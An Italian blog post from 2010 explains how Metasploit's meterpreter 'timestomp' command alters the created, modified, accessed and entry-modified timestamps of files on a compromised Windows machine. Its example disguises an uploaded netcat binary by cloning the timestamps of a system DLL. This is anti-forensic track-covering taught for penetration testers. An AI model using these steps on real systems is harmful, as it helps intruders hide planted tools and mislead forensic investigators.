Metasploit: confondere le tracce con timestomp
by admin on Jan.12, 2010, under Hacking, Linux, Sicurezza, Tools
Interagire con un qualsiasi tipo di file system, in seguito ad una intrusione, è come camminare nella neve … risulta cioè inevitabile lasciare delle tracce. Quanto siano particolareggiate tali tracce, quanto si possa dedurre da esse, e quanto a lungo rimangano visibili, dipende da varie circostanze, e la loro analisi è compito della cosiddetta digital forensic.
È una logica conclusione che un penetration tester (o un incursore), si preoccupi di rendere difficile il compito di un analista forense che intenda indagare sulle sue azioni.
Il modo migliore per evitare la rilevazione da parte di una investigazione forense è semplicemente quello di non toccare il filesystem!
Una delle principali caratteristiche di meterpreter è che esso viene caricato in memoria senza che su disco venga scritto alcunché, riducendo notevolmente gli indizi della sua presenza sul sistema violato.
Vi sono comunque molti casi in cui occorre necessariamente interagire in qualche modo col file system, ad esempio nel caso in cui venga effettuato l’upload di qualche tool. In tali casi il comando timestomp di meterpreter (estensione priv) può risultare di grande utilità.
meterpreter > use priv
Loading extension priv...success.
meterpreter > timestomp
Usage: timestomp file_path OPTIONS
OPTIONS:
-a Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation" time of the file
-e Set the "mft entry modified" time of the file
-f Set the MACE of attributes equal to the supplied file
-h Help banner
-m Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -v
Modified : 2010-01-10 22:03:11 +0100
Accessed : 2010-01-12 13:50:30 +0100
Created : 2010-01-10 22:03:10 +0100
Entry Modified: 2010-01-12 13:50:30 +0100
Secondo l’help in linea di timestomp il flag -b dovrebbe resettare tutti i valori dei campi MACE del file in questione.
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -b
[*] Blanking file MACE attributes on C:WINDOWSsystem32nc.exe
meterpreter >
Anche se il messaggio in output farebbe pensare di si, l’operazione non ottiene il risultato voluto:
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -v
Modified : 2010-01-10 22:03:11 +0100
Accessed : 2010-01-12 13:50:30 +0100
Created : 2010-01-10 22:03:10 +0100
Entry Modified: 2010-01-12 13:50:30 +0100
meterpreter >
Poco male del resto, visto che attuare una tattica simile vorrebbe dire dichiarare apertamente che il sistema è stato in qualche modo violato.
Meglio concentrarsi a modificare i vari campi individualmente:
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -m "12/12/2012 01:01:01"
[*] Setting specific MACE attributes on C:WINDOWSsystem32nc.exe
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -v
Modified : 2012-12-12 01:01:01 +0100
Accessed : 2010-01-12 13:50:30 +0100
Created : 2010-01-10 22:03:10 +0100
Entry Modified: 2010-01-12 13:50:30 +0100
meterpreter >
oppure tutti insieme, sullo stesso valore:
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -z "12/12/2012 01:01:01"
12/12/2012 01:01:01
[*] Setting specific MACE attributes on C:WINDOWSsystem32nc.exe
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -v
Modified : 2012-12-12 01:01:01 +0100
Accessed : 2012-12-12 01:01:01 +0100
Created : 2012-12-12 01:01:01 +0100
Entry Modified: 2012-12-12 01:01:01 +0100
meterpreter >
oppure clonando i valori MACE relativi ad innocente file di sistema:
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -f C:\WINDOWS\system32\usbmon.dll
[*] Setting MACE attributes on C:WINDOWSsystem32nc.exe from C:WINDOWSsystem32usbmon.dll
meterpreter > timestomp C:\WINDOWS\system32\nc.exe -v
Modified : 2004-08-19 16:39:30 +0200
Accessed : 2010-01-12 13:50:55 +0100
Created : 2004-08-19 16:39:30 +0200
Entry Modified: 2009-07-21 22:00:47 +0200
meterpreter >


